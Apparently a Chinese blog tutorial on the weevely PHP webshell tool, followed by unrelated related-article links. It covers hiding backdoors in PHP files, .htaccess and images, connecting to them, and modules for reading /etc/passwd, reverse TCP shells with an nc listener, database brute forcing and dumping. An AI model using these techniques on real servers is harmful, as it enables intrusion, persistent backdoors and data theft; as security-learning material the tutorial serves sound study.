-前言

weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能),就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具(仅用于安全学习教学之用,禁止非法用途)

项目地址:http://epinna.github.com/Weevely/
作者:Emilio Pinna  主页:http://disse.cting.org

测试环境:kali linux 1.0.6 amd64 + Apache + php

1.生成后门

查看weevely help可以看到weevely可以生成三种形式的php后门:

:generate.php  //生成php后门文件

:generate.htaccess  //将后门代码插入到.htaccess,需要开启.htaccess支持  (关于.htaccess文件

:generate.img  //将后门代码插入到图片中,并修改.htaccess,需开启.htaccess支持

 1.1 生成php后门文件

wevely会生成经过base64加密且参数随机的后门:

之前看到有大牛分离出Weevely中的加密模块来加密任意WebShell,在此作简单介绍:

加密模块:下载地址

Usage:python test.py intofile  outfile

测试效果:

 1.2 生成.htaccess后门

 1.3 生成.img图片后门

2. 连接后门

连接方式都是一样的: weevely <url> <password>  这里不一一例举,但采用.htaccess或图片连接时要开启.htaccess支持:

kali下找apache2的配置文件,查看/etc/apache2/apache2.conf文件,发现没有,但它包含多个配置文件,依次查看,结果在其包含的sites-enabled/下找到了,其绝对路径:/etc/apache2/sites-enabled/000-default 修改如下配置以支持htaccess:

连接图片后门示例:

当然,weevely也支持在连接时直接带上命令直接执行:

~$ weevely http://127.0.0.1/img_door/1.jpg linger "ls"  //这与上面的两步一样的,上面的类似交互式的shell

 3.weevely丰富的模块功能

查看weevely的可利用模块:(可按TAB键进入控制台模式)

~#  weevely help
+----------------------+--------------------------------------------------+
module | description +----------------------+--------------------------------------------------+
| :audit.etcpasswd | 枚举/etc/passwd |
| :audit.userfiles | 列举用户/home下具有权限的文件 |
| :audit.mapwebfiles | 枚举任意Web站点的URL链接 |
| :shell.php | 编写php文件 |
| :shell.sh | 编写系统脚本 |
| :system.info | 收集系统信息 |
| :find.suidsgid | 查找SUID / SGID文件和目录 |
| :find.perms | 查找权限可读/写/可执行文件和目录 |
| :backdoor.tcp | TCP端口后门 |
| :backdoor.reversetcp | 反弹TCP连接 |
| :bruteforce.sql | 爆破指定数据库用户名密码 |
| :bruteforce.sqlusers | 爆破所有数据库用户密码 |
| :file.upload | 上传本地文件 |
| :file.upload2web | 上传二进制/ ASCII文件至目标站点文件夹并枚举URL |
| :file.enum | 在本地词表的书面枚举远程文件 |
| :file.read | 读文件 |
| :file.rm | 删除文件 |
| :file.check | 检查远程文件的状态(md5值,大小,权限等) |
| :file.download | 下载远程二进制/ ASCII文件到本地 |
| :sql.console | 启动SQL控制台 |
| :sql.dump | 备份数据库,即脱库 |
| :net.scan | 端口扫描 |
| :net.phpproxy | 安装远程php代理   |
| :net.ifaces | 显示远程主机网络接口信息 |
| :net.proxy | 安装隧道通信代理 | +----------------------+----------------------------------------------------+

反弹TCP连接到本地:

本地监听8008端口等待连接:

~$ nc -l -p 8008

在weevely上建立TCP连接:

可以看到本地与远程主机已经建立了连接:

枚举任意Web站点的URL链接:

:audit.mapwebfiles http://xxx.xxx.xx.xx/index.php http://xxx.xxx.xx.xx /var/www/conf

上传本地文件到远程主机指定路径

从远程主机下载文件:

当然还有很多强大的功能,在新版的kali里貌似新加了一些模块,用法都差不多,可以查看帮助“ :help shell.sh”。

weevely入手使用笔记的更多相关文章

  1. 树莓派开发笔记(十二):入手研华ADVANTECH工控树莓派UNO-220套件(一):介绍和运行系统

    前言   树莓派也可以做商业应用,工业控制,其稳定性和可靠性已经得到了验证,故而工业控制,一些停车场等场景也有采用树莓派作为主控的,本片介绍了研华ADVANTECH的树莓派套件组UNO-220-P4N ...

  2. Hi3516开发笔记(一):海思HI3516DV300芯片介绍,入手开发板以及Demo测试

    前言   目前主流国产芯片为RV11XX.RK33XX.Hi35XX系列,本系列开启Hi3516系列的开发教程.   Hi3516DV300芯片介绍   Hi3516DV300为专业行Smart IP ...

  3. Rock Pi开发笔记(二):入手Rock Pi 4B plus(基于瑞星微RK3399)板子并制作系统运行

    前言   入手rock pi 4b plus板子,查看具体的实物,然后制作系统,刷系统,让摇滚派的ubuntu系统运行起来.   Rock Pi 4B plus 介绍   ROCK Pi 4 是 Ra ...

  4. 树莓派开发笔记(十四):入手研华ADVANTECH工控树莓派UNO-220套件(三):使用研发自带系统测试rtc、gpio、232和485套件接口

    前言   上一篇说明了必须要使用研华自带的8G卡的系统,通过沟通拿到了相关的系统,购买的时候会带8GB的卡,请自行备份一份镜像.本篇对uno-220套件的相关研华配套的额外接口做测试,篇幅较长,重点讲 ...

  5. webstorm入手笔记

    一.webstorm学习前小记 webstorm是一款现在前端用的比较多的IDE,其优势也比较多,这个大家在网上随便搜搜就可以找到了.但是本人大部分的时间都是使用sublime text工作,最近由于 ...

  6. MQTT入手笔记(二)

    Mosquitto是一个实现了MQTT3.1协议的代理服务器,由MQTT协议创始人之一的Andy Stanford-Clark开发,它为我们提供了非常棒的轻量级数据交换的解决方案.本文的主旨在于记录M ...

  7. MQTT入手笔记

    MQTT服务官网:http://mosquitto.org/download/ 在unix系统按照以下步骤运行并启动mqtt服务: 1. # 下载源代码包wget http://mosquitto.o ...

  8. Docker学习笔记1 -- 刚入手docker时的几个命令

    目录 Hello World 后台运行 停止运行 容器 载入镜像 指定端口映射 查看日志 查看应用的进程 登入镜像内部 移除容器 镜像 查看本地镜像 拉取镜像 查找镜像 更新镜像 构建镜像 设置镜像标 ...

  9. 树莓派开发笔记(十三):入手研华ADVANTECH工控树莓派UNO-220套件(二):安装rtc等驱动

    前言   前面运行了系统,本篇是安装对应套装的驱动,使rtc等外设生效,树莓派本身是不带rtc外设的.   UNO-220-P4N1AE 驱动下载     官方下载:https://www.advan ...

随机推荐

  1. springboot 整合 elasticsearch

    1引入jar包 <!--elasticsearch--> <dependency> <groupId>org.springframework.boot</gr ...

  2. eclipse调试时增加jvm参数

    下面的程中我们限制Java 堆的大小为20MB,不可扩展(将堆的最小值-Xms 参数与最大值-Xmx 参数设置为一样即可避免堆自动扩展),通过参数-XX:+HeapDumpOnOutOfMemoryE ...

  3. CentOS下长时间ping网络加时间戳并记录到文本

    Linux下长时间ping网络加时间戳并记录到文本   由于一些原因,比如需要检查网络之间是否存在掉包等问题,会长时间去ping一个地址,由于会输出大量的信息而且最好要有时间戳,因此我们可以使用简单的 ...

  4. 关于lazyload图片延迟加载简单介绍

    LazyLoad大家再熟悉不过的一个jquery插件了,它可以延迟加载长页面中的图片. 也就是说在浏览器可视区域外的图片不会被载入,直到用户将页面滚动到它们所在的位置才会加载并显示出来,这和图片预加载 ...

  5. Microsoft SQL Server on Linux破解 2G内存限制

    首先,贴上微软官方安装方法,大家按照官方的操作就行. 微软官方安装方法 相信很多同学遇到一个问题就是: sqlservr: This program requires a machine with a ...

  6. Util-linux-ng-2.17

    yum install -y util-linux-ng 即可安装Util-linux-ng,其中包含了非常多的软件 Util-linux-ng 的内容 安装的程序:addpart, agetty, ...

  7. [代码][deque容器练习]打分案例

    案例要求: //打分案例(sort算法排序)//创建5个选手(姓名.得分),十个评委对五个选手进行打分//得分规则:去除最高分,去除最低分,取出平均分//按得分对5个选手进行排名 源代码: //打分案 ...

  8. leetcode395

    分治法. public class Solution { private int LongestSubstringSub(string s, int k, int start, int end) { ...

  9. AndroidStudio 中怎样查看获取MD5和SHA1值(应用签名)

    曾经在Eclipse中我们获取MD5和SHA1非常easy就找到了例如以下图所看到的: 就能够在Eclipse中看到所须要调试的MD5和SHA1.可是在AndroidStudio中我找了一圈也没有发现 ...

  10. C++ 获取特定进程的CPU使用率<转>

    C++ 获取特定进程的CPU使用率 近来发现笔记本在关闭屏幕后风扇转得特别快,打开屏幕后看任务管理器,风扇马上减速,也没有发现大量占用CPU的进程.于是想写一个小程序在后台记录每个进程的CPU使用情况 ...